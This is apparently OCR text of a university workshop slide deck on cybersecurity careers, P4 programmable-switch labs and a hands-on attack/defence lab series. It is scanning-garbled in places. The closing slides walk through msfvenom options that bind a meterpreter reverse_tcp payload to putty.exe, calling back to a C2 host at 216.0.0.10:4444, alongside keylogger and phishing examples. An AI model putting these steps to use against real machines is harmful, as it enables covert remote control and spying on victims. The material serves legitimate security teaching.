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Agenda

Introduction and motivation for cybersecurity

Review “Intro to P4” lab series

Review “Cybersecurity Fundamentals” lab series
Execute lab experiments / cyber-attacks (self-paced)




Introduction and motivation for cybersecurity




Introduction

* Widespread attacks on desktops, laptops, smartphone, tablets, servers, etc.

 Information security Is focused on protecting electronic information of
organizations and users

IMAGE: UNSPLASH/PHOTOMOSH
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SRR CISA, FBl warn of China-linked
 chinanews | hackers pre-positioning for
‘destructive cyberattacks against
= US critical infrastructure’




Introduction

* Widespread attacks on desktops, laptops, smartphone, tablets, servers, etc.

 Information security Is focused on protecting electronic information of
organizations and users

Cyberattack on a Chicago children’s
hospital has shut down its systems for a

week TS

a By Andy Rose and Sara Smart, CNN
' @ 3 minute read - Updated 5:39 PM EST, Tue February 6, 2024
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Information Security Employment

e Security Is rarely outsourced

« U.S. Bureau of Labor Statistics (BLS)

» Job outlook for information security analysts through end of decade expected to grow by
more than 32%, much faster than average
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Information Security Employment

e www.lndeed.com

o=

2 indeed.com/jobs?q=cyber +security8l=_8v) a/fad955alb 11407

Q_ cyber security ° City, state, zip code, or "remote”

Sumter, 5C

$100,000 - $120,000 ayear Full-time +1 Monday to Friday +2

TEMPEST, physical, information, and cyber security polices.

Posted 30+ days ago

Tip: Enter your city or zip code in the "where" box to show results in your a

] [ o
Date posted = Remote - Pay ~ Jobtype = Developer skill = Compensation package ~ Encouraged tj
Posted by - Experience level = Education =
Upload your resume - Let employers find you
Tempest Manager
cyber security jobs Hyperion, Inc. &
Sort by: relevance - date 14,308 jobs @ Sumter, SC
$100,000 - $120,000 a year - Full-time, Cont

Tempest Manager E Apply now [ IR 7))
Hyperion, Inc.

Job details
> Easily apply Here's how the job details align with your profile &,
o 7 ormore years' of TEMPEST experience AND comprehensive knowledge of & Pay

$100,000 - $120,000 a year
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Information Security Employment

e Wwww.Indeed.com

Cyber Security Analyst

Pinal County
Florence, AZ 85132

$49,647 - $76,953 ayear Full-time

o Or other related cyber security training/accreditation/certification is highly
desirable.

o Ability to understand network security issues.

Posted 2 days ago - More.
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Information Security Employment

e Wwww.Indeed.com

Cyber Security Specialist

Zurka Interactive
Hybrid remote in Washington, DC 20375

$100,000 - $140,000 ayear Full-time Monday to Friday +2
> Easily apply
e The candidate will work as part of a team responsible for engineering,

implementing, and maintaining cyber security and compliance solutions for the
Laboratory.

Active 3 days ago
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Information Security Employment

e Wwww.Indeed.com

Microsegmentation Cyber Security Engineer V

Mavy Federal Credit Union 3.9 %
Winchester, VA 22602

$129,100 - $229,925 ayear Monday to Friday

»  Extensive experience with multiple cyber security
detection/technologies/tools.

Posted 16 days ago

View similar jobs with this employer

o Expert knowledge of cyber security/information security engineering.

[ B X ]
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Information Security Employment

e Wwww.Indeed.com

Cyber Security Analyst

Pinal County
Florence, AZ 85132

$49,647-$76,953 ayear Full-time

o Or other related cyber security training/accreditationfcertification is highly
desirable.
o Ability to understand network security issues.

Posted 2daysago - More.

TYPICAL CLASSIFICATION ESSENTIAL DUTIES:

Assists maintaining processes across the enterprise to reduce information and information
technology (IT) risks.

Assists in the maintenance of the County’s information security and privacy policies, standardd
guidelines, baselines, processes and procedures in compliance with state and federal
regulations and standards.

Member in the County’s incident response and investigation procedures and processes.

Use software, such as firewalls and data encryption programs, to protect organizations’

sensitive information. Assist computer users with installation or processing of new security
products and procedures.

Monitor for security breaches. Constantly monitor their organization’s networks and systems
for security breaches or intrusions. Install software that helps to notify them of intrusions, and

—

watch out for irregular system behavior.
Understanding potential threats, vulnerability and control technigues.

Investigate security breaches. Assists with incident response activities to minimize the impact.
Afterwards, assist with a technical and forensic investigation into how the breach happened
and the extent of the damage. They prepare reports of their findings to be reported to
management.

Assist in administering a County-wide information security training and awareness program.

11
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Information Security Employment

e Wwww.Indeed.com

Zurka Interactive

> Easily apply

Laborataory.

Active 3 days ago

Cyber Security Specialist

Hybrid remote in Washington, DC 20375
$100,000 - $140,000 a year Monday to Friday +2

o The candidate will work as part of a team responsible for engineering,
implementing, and maintaining cyber security and compliance solutions for the

-

Qualifications and Skills

A Bachelors Degree in Computer Science, Mathematics, Engineering or related technical field and

minimum 5 years of information assurance or cyber security experience is required.

The ideal candidate will be able to work independently and be able to take on tasks quickly with
minimal direction. Strong organizational, analytical, and troubleshooting skills with a high level of

attention to detail are required to succeed in this diverse environment.

Candidates must meet DoD 8570 requirements for an |AT Il level position, including an active

CompTIA CASP certification or equivalent.

12
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Information Security Employment

e Wwww.Indeed.com

Microsegmentation Cyber Security Engineer V

MNavy Federal Credit Union 3.9 %
Winchester, VA 22602

$129,100 - $229,925ayear Monday to Friday

Extensive experience with multiple cyber security
detection/technologies/tools.

Posted 16 days ago

View similar jobs with this employer

Expert knowledge of cyber security/information security engineering.

Qualifications

Extensive experience in system administration, database administration, network engineering,
software engineering, or software development, with a concentration in Cyber Security
Extensive experience leading collaborative work teams

Significant hands-on experience and knowledge of IT operations and change management.
Expert knowledge and understanding of security operations and cyber-attack methods
Advanced knowledge of enterprise information security architecture

Working knowledge of security assessment processes

Expert skill to influence, to negotiate & persuade to reach agreeable exchanges & positive
outcomes

Advanced skills in working with all levels of management, supervisors, stakeholders and
vendors

Advanced skills in leading, guiding and coaching professional staff

Advanced organizational, planning and time management skills

Expert skill exercising initiative and using good judgment to make sound decisions
Advanced database and presentation software skills

Effective skill in demonstrating Integrity and high standards of personal and professional
conduct

Bachelor's Degree in Information Technology or the equivalent combination of education,

training or experience
Experience with Windows server/Linux/AlX operating systems
Knowledge of the Zero Trust Framework

Experience managing micro-segmentation policies
Strong background in analyzing network activity logs to tune security policies

Desired Qualifications

Extensive experience with multiple cyber security detection/technologiesftools

Extensive experience working with a variety of cyber architectures

Knowledge of Navy Federal operations, products, policies and procedures

CISSP, CISA, GIAC, CCNA or other related Information Security certifications

Advanced degree in Information Technology, or the equivalent combination of education,

training or experience

13
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Information Security Employment

* DoD’s Approved Baseline Certifications

« Examples include
» Information Assurance Technical (IAT)
» Cybersecurity Service Provider (CSSP)
» CSSP Incident Responder
» Certified Support Technician Cybersecurity

Approved Baseline Certifications
IAT Level I IAT Level 112 IAT Level 111

A+ CE CCNA-Security CASP+CE
CCNA-Security CySA+ ™ CCNP Security
CND GICSP CISA
Network+ CE GSEC CISSP (or Associate)
SSCP Security+ CE GCED

CND GCIH

SSCP CCSP

DoD’s Approved Baseline Certifications. Exhaustive list at htips://tinyurl.com/55t7sdnm

14
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The Role of Professionals Certs in Comp. Occupations

- SIGN OUT (Jorge Crichigno) W%
v University of South Carolina -

COMMUNICATIONS Search »

OF THE Columbia

ACM

Home / Magazine Archive / October 2021 (Vol. 64, No. 10) / The Role of Professional Certifications in Computer... / Full Text

HOME | CURRENTISSUE | NEWS | BLOGS | OPINION | RESEARCH ' PRACTICE | CAREERS | ARCHIVE VIDEOS

CONTRIBUTED ARTICLES

The Role of Professional Certifications in Computer Occupations

By Mark Tannian, Willie Coston
Communications of the ACM, October 2021, Vol. 64 No. 10, Pages 56-63

10.1145/3474359 ARTICLE CONTENTS:
Comments Introduction
Wose Lnnicbt

1. M. Tannian, W. Coston, “The Role of Professional Certifications in Computer Occupations,” Communications of the ACM, Vol. 64, No. 10, October 2021.
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The Role of Professionals Certs in Comp. Occupations

Top 15 requested certs for Info Security Analysts (15-1212)

Certifications Listings Representation
Total 345,207 100.0%
Certified Information Systems Security Professional 90,496 26.2%
@ University of South Carolina - SIGN OUT erge Crenona) %7 GIAC Certiﬁcations 41‘508 12.0%
COMMUNICATIONS . Search P Certified Information Security Manager 32,150 9.3%
ACM Certified Information System Auditor (CISA) 31,701 9.2%
HOME CURRENT ISSUE NEWS BLOGS OPINION RESEARCH PRACTICE | CAREERS ARCHIVE VIDEOS -
Home / Magazine Archive / October 2021 (Vol. 64, No. 10) / The Role of Professional Certifications in Computer... / Full Text CO"'IDTIA SeCUnty"' 26'804 78%
Certified Ethical Hacker 23,372 6.8%
CONTRIBUTED ARTICLES GIAC Certified Incident Handler 12,918 3.7%
The Role of Professional Certifications in Computer Occupations GIAC Security Essentials Certification 10.837 3.1%
IAT Level IT Certification 10,767 3.1%
:y Mark _Tﬁ"l'_”a"""f"::e :'2:,:0:, rober 2021 Vol 64 No. 10. Cisco Certified Network Associate 10,615 3.1%
ommunications of the , October , Vol. 0. 10, Pages 56-63 ]
foeseTess e foTENTS: Certified In Risk and Information Systems Control 7,959 2.3%
S Offensive Security Certified Professional 7,549 2.2%
NIST Cybersecurity Framework (CSF) 7,353 2.1%
Systems Security Certified Practitioner 7,327 2.1%
Cisco Certified Security Professional 6,724 1.9%
Unrepresented Listings 17,127 5.0%

Note: Italicized entry indicates a certification's main focus aligns
with occupation's unique responsibilities.

1. M. Tannian, W. Coston, “The Role of Professional Certifications in Computer Occupations,” Communications of the ACM, Vol. 64, No. 10, October 2021.




The Role of Professionals Certs in Comp. Occupations

Top 15 requested certs for Comp. Network Architects (15-1241)

Certifications Listings Representation
Total 38,515 100.0%
Cisco Certified Network Professional 4,795 12.4%
2 SIGN OUT (Jorge Crichigno) W Cisco Certiﬁed Network Assaciate 4321 11.2%
@ University of South Caralina - m AN : z S
COMMUNICATIONS S P Cisco Certified Internetwork Expert 3,848 10.0%
““ACM Columbia - CompTIA Security+ 1,001 2.8%
HOME | CURRENTISSUE | NEWS BLOGS OPINION | RESEARCH PRACTICE | CAREERS ARCHIVE VIDEOS Certlfled Informalion SyStemS Sec”r“y professional 803 21%
Home / Magazine Archive / October 2021 (Vol. 64, No. 10) / The Role of Professional Certifications in Computer... / Full Text CI.SCO Certrffed Des’.gn Professional 668 17%
CONTRIBUTED ARTICLES Juniper Networks Certified Internet Expert 597 1.6%
) L . . IAT Level II Certification 588 15%
The Role of Professional Certifications in Computer Occupations TTIL Certifications 585 15%
By Mark Tannian, Wils Coston Project Management Professional Certification 548 1.4%
Communications of the ACM, October 2021, Vol. 64 No. 10, Pages 56-63 Microsoft Certified Systems Engineer 536 1.4%

10.1145/3474359 ARTICLE CONTENTS:

Comments Introduction Juniper Network Certified Internet Professional (JNCIP) 4972 1.3%
Juniper Networks Certified Internet Associate 440 1.1%
CompTIA Network+ 368 1.0%
ITIL Foundation Certification 364 0.9%
Unrepresented Listings 18,470 48.0%

Note: Italicized entry indicates a certification's main focus aligns
with occupation's unique responsibilities.

1. M. Tannian, W. Coston, “The Role of Professional Certifications in Computer Occupations,” Communications of the ACM, Vol. 64, No. 10, October 2021.




The Role of Professionals Certs in Comp. Occupations

 The U.S. job market indicates that the level of demand of certificates for ISA is

over 95% (i.e., 95% of more than 345,000 job listings prefer professionals with
iIndustry certificates?)

« Similarly, the level of demand of certificates for CNA is 52% (i.e., 52% of more
than 38,000 job listings prefer professionals with industry certificates?)

ISA: Information Security Analyst
CNA: Computer Network Architect

1. M. Tannian, W. Coston, “The Role of Professional Certifications in Computer Occupations,” Communications of the ACM, Vol. 64, No. 10, October 2021.
18




The Role of Professionals Certs in Comp. Occupations

Ty Love-Baker

1stLt at United States Marine Corps

Washington, District of Columbia, United States - Contact info

Gabriella Pinto @

Cybersecurity Consultant at Palo Alto Networks

New York City Metropolitan Area - Contact info

Matt Driver
Cyber Operations Officer | Cyber Security Engineer | Sec

nited States - Contact info

_ClUMDI3, SoUuth Laroiing, U

=) LI

|| & &B &= === =

A

Jack Sadle

25A Signal Officer, US Army Reserve

Greater Augusta Area - Contact info

Anaia Prather ©he/men
Chief of Staff at U.S. Department of State

lumbia, United States - Contact info

Dakota McDaniels
Al @ Robinhood

San Francisco, California, United States + Contact info
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Review “Intro to P4” lab series
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Traditional (Legacy) Networking

* In “traditional” devices, the interface between the control plane and the data

plane is proprietary
» No innovation from network owners
» Arouter is a monolithic unit built and internally accessed by the manufacturer only

Local algorithm
(e.g., OSPF)

g Topology

Local algorithm
(e.g., OSPF)

cg%opology
|

|
¢ Local table
Dst IP Itf

198.12.0/24 | 1
201.30/16 | 2
0.0.0.0/0 1

Local algorithm
(e.g., OSPF)

g Topology
Control Plane

|
| l Data Plane

ot ‘ N




Software-defined Networking

« SDN (1) explicitly separates the control and data planes, and (2) enables the
control plane intelligence to be implemented as a software outside the switches

 The function of populating the forwarding table is now performed by the
controller

[App-l ] [App-Z ] [App-n ]

Software-based
Centralized Controller
Proprietary or Cg) Global
RFC compliant Topology q

— | Control Plane
2 \ Data Plane
Header Field Action OpenFlow
SrclP =198/8 |Forward (1) i i=pass
DstIP = 98.3/16 Drop

Ingress Port=1 | Forward (2) ‘

>




Software-defined Networking

« SDN is limited to the OpenFlow specifications
» Forwarding rules are based on a fixed number of protocols / header fields (e.g., IP, Ethernet)

» The data plane is designed with fixed functions (hard-coded)
» Functions are implemented by the chip designer

[App 1 App 2 App n]
Software-based
Centralized Controller

Proprietary or [ Global
RFC compliant . T0P0|08Y
=

- Control Plane

2 | \ Data Plane
Header Field Action OpenFlow
SrclP = 198/8 | Forward (1) interface
DstIP = 98.3/16 Drop

Ingress Port- Forward (2)

i




Can the Data Plane be Programmable?

 Evolution of the computing industry

Signal _ Machine
Computers Processing Graphics Learning
C/C++/Java Matlab OpenCL TensorFlow

Iml

CRU DSP GPU

1970s 1970s-80s 1990s-2000s 2010s

Tofino Family
(PISA)

Networking

P4

2017

1. Vladimir Gurevich, “Introduction to P4 and Data Plane Programmability,” https://tinyurl.com/2p978tm?9.

24
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P4 Programmable Switches

 P4! programmable switches permit a programmer to program the data plane

> Define a_md parse new prot_ocols | (ot (o9 2).. e
» Customize packet proc.eSS|.ng functions | [ —
» Measure events occurring in the data plane with | Centralzed Controller
. P :Compiler |
hlgh preCISlon Q PD-API, P4Runtime
» Offload applications to the data plane x K " rogamaetos b
ey ction ction data
Header Forward() | DstIP=IP1, Dst port = p2
fields, tuples, Mark() Dst IP=IP2, Dst port = p4
etc. Drop()
!
O State - Memory D ALU
D D> | ]
Packet | | D B>, ]
B> k| L
D D
Programmable Stage 1 Stage n Programmable
parser Programmable match-action pipeline deparser

1. P4 stands for stands for Programming Protocol-independent Packet Processors

25




P4 Programmable Switches

« P41 programmable switches permit a programmer to program the data plane
» Define and parse new protocols

Packet forwarding speeds

» Customize packet processing functions 00—

» Measure events occurring in the data plane with Lo¢ | —* Switch chip
high precision

» Offload applications to the data plane

12.8 Tbps

103

102

Gbps (per chip)

10!

10°

10_1 T T T L T L
1990 1995 2000 2005 2010 2015 2020

Years

Reproduced from N. McKeown. Creating an End-to-End Programming Model for Packet Forwarding.

Available: https://www.youtube.com/watch?v=fiBuao6YZI0&t=4216s

26
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P4 Programmable Switches

Bit

32
64
96

128

160

P4 switches permit programmer to program the data plane

Header inspection, identifying media sessions using the 5-tuple

Add proprietary features; e.g., emulate RTP relay server
Parse packet headers, including UDP packets carrying RTP traffic

Modify fields, IP addresses and ports

0[1]2]3[4]5]6[7]8]9]10[11]12[13]14]15][16[17][18]19]20]21]22]23[24][25]26]27]/28]29[30][31
Version IHL DSCP ECN Total Length
Identifier Flags Fragment Offset
Time To Live Protocol Header Checksum

Source IP Address

Destination IP Address

Options (if IHL > 5)

header ipv4 t {
bit<4> version;
bit<4> ihl;
bit<8> diffserv;
bit<16> totallLen;
bit<16> identification;
bit<3> flags;
bit<13> fragOffset;
bit<8> ttl;
bit<8> protocol;
bit<16> hdrChecksum;
ip4Addr t srcAddr;
ip4Addr t dstAddr;

27




P4 Programmable Switches

* P4 switches permit programmer to program the data plane

« Add proprietary features; e.g., emulate RTP relay server

« Parse packet headers, including UDP packets carrying RTP traffic
« Header inspection, identifying media sessions using the 5-tuple

* Modify fields, IP addresses and ports

state start {
transition parse_ ethernet;

}
l state parse_ethernet {

packet.extract(hdr.ethernet);
transition select(hdr.ethernet.etherType) {

etherType == IPv4 etherType != IPv4 TYPE _IPV4: parse ipvé4;

default: reject;
parse_ipv4d }
}

state parse_ipv4 {
packet.extract(hdr.ipv4);
transition accept;




P4 Programmable Switches

* The relay server makes it possible for two devices behind NAT to connect with each other relays the RTP

RTP Information at relay server

Device Allocated
IP - port IP - port

A IPA! - PA’ IPR - PRA
B IPB! - PB! IPR - PRB

‘*___

A

Relay server

29




P4 Programmable Switches

« P4 switches permit programmer to program the data plane

- Add proprietary features; e.g., emulate RTP relay server

« Parse packet headers, including UDP packets carrying RTP traffic

« Header inspection, identifying media sessions using the 5-tuple

« Modify fields, IP addresses and ports

Application example: media (voice) relay server

Programmable General-purpose
Switch CPU
Cost $6,000 $ 10,000 - 25,000
~35,000,000

connections per ~500 connections per

Capacity switch core
Tens to hundreds of

Latency 400 nanoseconds milliseconds

1.0

0.81-

0.6

CDF

0.41-

0.2

0.0

Server-based relay

Switch-based relay

—_— U =6.88ms —_— U =0.00044ms

o= 3.74ms

o=8e—-07ms

0 5 10
Delay [ms]
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Library on Security Applications with P4
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Security Applications with P4

« Hands-on experience on cybersecurity applications on P4 programmable data planes
« Stateful packet filters, mitigation schemes for TCP SYN flood, DNS amplification

« This library uses the BMv2 software switch (open source)

Web server

Allowed connections threshold: t

n>t: Allow

the first t

connections

only

i<t:allow

all the
connections EJ = '

to pass

Legitimate client
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Library on Security Applications with P4

Experiments
* Lab 1: Introduction to Mininet
* Lab 2: Introduction to P4 and BMv?2
* Lab 3: P4 Program Building Blocks
e Lab 4: Parser Implementation
* Lab 5: Introduction to Match-action Tables
* Lab 6: Implementing a Stateful Packet Filter for the ICMP protocol
* Lab 7: Implementing a Stateful Packet Filter for the TCP protocol
* Lab 8: Detecting and Mitigating the DNS Amplification Attack
e Lab 9: Identifying Heavy Hitters using Count-min Sketches (CMS)
* Lab 10: Limiting the Impact of SYN Flood by Probabilistically Dropping Packets
* Lab 11: Blocking Application Layer Slow DDoS Attack (Slowloris)
 Lab 12: Implementing URL Filtering through Deep Packet Inspection and String Matching

33




P4 Programmable Data Plane Switches based on Intel’s Tofino Chip
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P4 PDP Switches based on Intel's Tofino Chip

These labs provide a hands-on experience on P4 programming running on a
production chip

The lab library describes the architecture of the “Tofino” chip, the software
development environment (SDE), and how to use them

The lab library presents several real examples

18 state parse_ethernet {
1 packet.extract({hdr.ethernet);

=
42 H transition select(hdr.ethernet.etherType) {
E TYPE_IPV4: parse_ipwd;
44 default: accept;

¥
¥

m

state parse_ipvd {
packet.extract(hdr.ipvd);
verify(hdr.ipv4.ihl »= 5, error.IPHeaderTooShort);
transition select(hdr.ipvd.ihl) {

[0 I W S I TR, T T S N N Ay P [ T T T
= ) O

5 T accept;
3 default . parse_ipvd option; .
. 3 Programmable chip
¥
P4 code
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P4 PDP Switches based on Intel’s Tofino Chip

* The switch model is Wedge 100BF-32X from Edgecore
e This switch has 32 x 100G QSFP28 switch ports

wveve -.-.-.-.-.-.-.-.-.-.............‘.........‘.‘.....‘.-.......................'.........................-...................-.-.-..........'...................................‘.‘................_._..-.-.-...-'-.-.-...-..:.... ............
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

i ‘} !! -! !E Eg H £ l
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P4 PDP Switches based on Intel's Tofino Chip

 POD design

& Usemame

& Password

- - © New Lab Reservation v -
PC1

Cyberinfrastitgtiure = = = 3z b
Lab @ UofSC =

—— 100GbE Multi-Mode
Fiber (QSFP28)

- = Qut-of-Band Link

Tofino Model
(Debian 10 Virtual Machine)

e e

! - -
netlab.cec.sc.edu | o

i

Tofino Switch
(Edgecore Wedge 100BF-32Q)

Dual-port 100GbE NVIDIA
Mellanox ConnectX® 5

Lubuntu 20.04 Virtual Machine
(8 vCPUs, 16 GB Memory)
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P4 PDP Switches based on Intel’s Tofino Chip

Lab 1:
Lab 2:
Lab 3:
Lab 4:
Lab 5:
Lab 6:
Lab 7:

Lab experiments

Introduction to P4 and BMv2

P4 Program Building Blocks

Parser Implementation

Introduction to Match-action Tables (Part 1)
Introduction to Match-action Tables (Part 2)
Populating and Managing Match-action Tables
Checksum Recalculation and Packet Deparsing

Exercise 1:
Exercise 2:
Exercise 3:
Exercise 4:
Exercise 5:

Exercises

Compiling and Testing a P4 Program
Parsing UDP and RTP

Building a Simplified NAT
Configuring Tables at Runtime
Building a Packet Reflector

38




DEMO 1 — Cloud Platform
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DEMO 2 — High-resolution Measurements

https://youtu.be/cWaWxsgVAgC

41
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DEMO 3 - DoS
https://youtu.be/EGOHUdrQ80M



https://youtu.be/EGQHUdrQ80M




P4 PDP Switches based on Intel’s Tofino Chip

Lab 1:
Lab 2:
Lab 3:
Lab 4:
Lab 5:
Lab 6:
Lab 7:

Lab experiments

Introduction to P4 and BMv2

P4 Program Building Blocks

Parser Implementation

Introduction to Match-action Tables (Part 1)
Introduction to Match-action Tables (Part 2)
Populating and Managing Match-action Tables
Checksum Recalculation and Packet Deparsing

Exercise 1:
Exercise 2:
Exercise 3:
Exercise 4:
Exercise 5:

Exercises

Compiling and Testing a P4 Program
Parsing UDP and RTP

Building a Simplified NAT
Configuring Tables at Runtime
Building a Packet Reflector
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Review “Cybersecurity Fundamentals™ lab series

46




Cybersecurity Fundamentals - POD

« Attacker in the WAN running Kali internal network WAN
. . BR/FW
* Victim in the internal network Q : ‘
running Windows 10 -10 @ 1(? 1 10
. . . i |
 Web, DNS, and Mall servers in Victim Attacker
the DMZ zone 192.168.0.0/24 216.0.0.0/16
. DMZ
« Border router interconnect the >
networks
- Border router implements basic
security policy: /10 20 30
» Attacker cannot initiate connections to < < <
devices in the internal network . ) )
S S S
Web DNS Mail

172.16.0.0/16
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Cybersecurity Fundamentals Lab Series

The labs provide learning experiences on cybersecurity topics

Lab 1:
Lab 2:
Lab 3:
Lab 4:
Lab 5:
Lab 6:
Lab 7:
Lab 8:
Lab 9:

Lab 10:
Lab 11:
Lab 12:
Lab 13:
Lab 14:
Lab 15:
Lab 16:
Lab 17:
Lab 18:
Lab 19:

Reconnaissance: Scanning with NMAP, Vulnerability Assessment with OpenVAS
Remote Access Trojan (RAT) using Reverse TCP Meterpreter

Escalating Privileges and Installing a Backdoor

Collecting Information with Spyware: Screen Captures and Keyloggers

Social Engineering Attack: Credentials Harvesting and Remote Access through Phishing Emails
SQL Injection Attack on a Web Application

Cross-site Scripting (XSS) Attack on a Web Application

Denial of Service (DoS) Attacks: SYN/FIN/RST Flood, Smurf attack, and SlowLoris
Cryptographic Hashing and Symmetric Encryption

Asymmetric Encryption: RSA, Digital Signatures, Diffie-Hellman

Public Key Infrastructure: Certificate Authority, Digital Certificate

Configuring a Stateful Packet Filter using iptables

Online Dictionary Attack against a Login Webpage

Intrusion Detection and Prevention using Suricata

Packet Sniffing and Relay Attack

DNS Cache Poisoning

Man in the Middle Attack using ARP Spoofing

Understanding Buffer Overflow Attacks in a Vulnerable Application

Conducting Offline Password Attacks
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Examples

Vulnerability assessment using OpenVAS

Dashboards Scans Assets Resilience

Secinfo

©)]
i
T
'
Al

@x0an L[

=| Report:Tue, Nov 29, 2022 3:02 AM UTC s

ID: db2519¢

Information | Results | Hosts Ports Applications Operating Systems CVEs Closed CVEs TLS Certificates Error Messages User Tags
(50f49) | (1of1)  (1o0fl) (2 of 2) (1 0fl) (0 of 0) (0 of 0) (0 of 0} {0 of 0) 0}

Host

IP

80%  172.16.0.10
[ 5.0 (Medium) 80 % 172.16.0.10

Vulnerability

3

Severity ¥ QoD

Operating System (0S) End of Life (EOL) Detection
Missing “httpOnly" Cookie Attribute

Backup File Scanner (HTTP) - Reliable Detection Reporting __ 5.0 [Medium) 80 % 172.16.0.10
Cleartext Transmission of Sensitive Information via HTTP

8 (M= clium) 80%  172.16.0.10
80%  172.16.0.10

& b

TCP timestamps

{(Applied filter: apply_overrides=0 levels=hm| rows=100 min_god=70 first=1 sort-reverse=severity)




Examples

Deploying a Spyware

C @

o Kali Linux ¥ Kali Training & Kali Tools

Controlling target? [] Screen size @-

QO & 216.0.0.10

Kali Forums

« KaliDocs e NetHunter

Offensive Security

MSFU ¢

Exploit-DB

& New Tab X -

New Tab Ke
chrome://newtab

-|{Image delay @-=

> 16 milliseconds

ﬁ PUTTY Configuration
Category:

[=-Session
P Logging
= Terminal
Keyboard
Bell
Features
=-WWindow
Appearance
Behaviour
- Translation
(- Selection
.. Colours
[=}-Connection
- Data
- Proxy
-S5H
- Serial
O\ - Telnet
- Rlogin
SUPDUP

Screen capture

Basic options for your PuTTY session

Specify the destination you wantto connectto
Host Name (or IP address)

Po

rt

[

| [22

Connection type:

@ SsH

(O Serial

(O Other:

Telnet

Load, save or delete a stored session

Saved Sessions

J

Default Settings

Load

Save

Delete

1=

Keylogger

#~ GHDB

Victim

New Text Document bt - Motepad

File Edit Format View Help
The keystrokes are being recorded

Attacker
x root @ kali: /
File Actions Edit

meterpreter = keyscan dump
Dumping captured keystrokes...
=5hift=The keystrokes are being recorded

View Help

meterpreter > |j
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Examples

Social engineering and phishing emails

Viqtim

Security Notice @

From Google Support No date
to victim@mail-server.lab.l... v

Dear John,

Someone used your email address to login
to your account. We suspect that this activity
was performed by a hijacker. Please use the
link below to access your Google account
settings:

http://www.google.com /settings.

Regards,
Google Support team.

=

A

learner@email.com

MNeed help?

Attqcker

[08/Sep/20
[08/Sep/20
[08/Sep/20

22
22
22

:24:18] "POST /Servicelogi
:24:18] "GET / HTTP/1.1" 2
:24:38] "GET /favicon.ico
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Examples

Creating a digital certificate and deploying it on an Apache web server

Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State] St
Locality Name (eg, city) [] Columbia

Organization Name (eg, company) |Internet Wideits Pty Ltd]:MyCompany X 509 r
: ; - ; | - - — X certificate

Organizational Unit Name (eg, section) [] IT
Common Name (e.g. server FODN or YOUR name) [] mycompany.com
Email Address []:admin@mycompany.com

5 ) Mozilla Firefox

mycompany.com/

e C @ mycompany.com g

& You are securely connected to this site. Ce r-t Ifl Cate
Verified by: MyCompany — d I d
Mozilla does not recognize this certificate issuer. It may have € p Oye on a

been added from your operating system or by an p rod u Ctl on g ra d e
web server

Welcome to

administrator. Learn More

More information
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Examples

Detecting and blocking SYN Flood attack using Suricata IDS/IPS

alert tcp any any -> 172.16.H.28 any (f lags:s: s1d:1234568; rev:l:)

rate_filter gen_id 1, =si1g_1d 1£34568, track by_d=st, count 1HHH, seconds 1, new actiom drop, timeout
2l

Incoming rate before mitigation Incoming rate after mitigation

RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS
RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS

RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS

RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS

RLRURIR IR IR IR IR R IR IR IR RIRIE IGIRIBIS BISIEIG SIS

i HHHHHHHHHHHHHHHHHHHHHHHEEE | Corr: 34 .84 MBit-s
i HHHHHHHHHHHHHHHHHHHHHHHEE | Avg s 2.56 MBit-s
i HHHHHHHHHHHHHHHHHHHHHHHEEE | Min: B.88 Bit-s

i HHHHHHHHHHHHHHHHHHHHHHHEE | Max: 38.82 MBit-s
i HHHHHHHHHHHHHHHHHHHHHHHEHE | Tt 68.86 MByte

Curr: B.88 Bit-s
Avg: 536.688 Bit-s
Min: B.98 Bit-s
Max: 3.69 kBitss
Ttl: 2.82 kByte




Spyware Attack
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Typical Network Security Policy

« Firewalls / border routers prevent an external device to communicate with an internal device
* An internal device can initiate communication to an external device

* |f there is information that must be shared with an external user, the information is placed in the
Demilitarized Zone (DMZ)

Internal network

Victim Attacker

192.168.0.0/24 216.0.0.0/16

Web DNS Mail
server server server

172.16.0.0/16
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Spyware Example

a s~ wbdhPRE

The attacker creates a “payload” and attaches it to a valid program (for example, “putty.exe”)

The attacker uploads the program to his website

The attacker starts the “command and control server,” listening to incoming connection

The victim downloads the program

The victim executes the program

a) The program starts
b) At the same time, the malware connects to the attacker

. The attacker starts the spyware

a) Takes screen captures of the victim’s computer

b) Transmits the view of the victim’s computer in real time
c) Controls the victim’s computer

d) Monitors the victim’'s camera

e) Monitors the victim’s microphone

f) Records the keystrokes...

Internal network

Victim

192.168.0.0/24

Web DNS Mail
server server server

172.16.0.0/16

Attacker

216.0.0.0/16
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DEMO 4 — Spyware

https://youtu.be/x 7jsXsn_YU
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https://youtu.be/x_7jsXsn_YU

LAB- - Google Chreme

© Not secure  hips://10.173.78.50/lab-content.cgi?res_id=31355&ex_id=JGOMEZ_0050_56AE_2F47_6305_5037_0004

e [a x84 specifies the architecture of the target victim, which is in this case.

e [-platform windows| specifies the platform of the target victim (e.g., Linux,
Android, Apple i0S, etc.). Since the victim is using a Windows 10 machine, the

specified platform is fwindows].

* [x putty.exe]: specifies an executable file to attach the malicious payload to.
We will use putty], a popular program that allows the user to configure machines

via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++,
Word application).

o [ preserves the template behavior (putty.exe) and injects the payload
(reverse_tcp) as a new thread.

e [p windows/meterpreter/reverse tcp: specifies the payload to use, which is
in this case a reverse_tcp session.

e [LHOST=216.0.0.10 specifies the IP address through which the attacker will
listen for reverse_tcp session connections. This is the IP address of the C2 server.

* [LPORT=4444] specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

e [ x86/shikata ga nai] specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the x86/shikata ga nai| encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
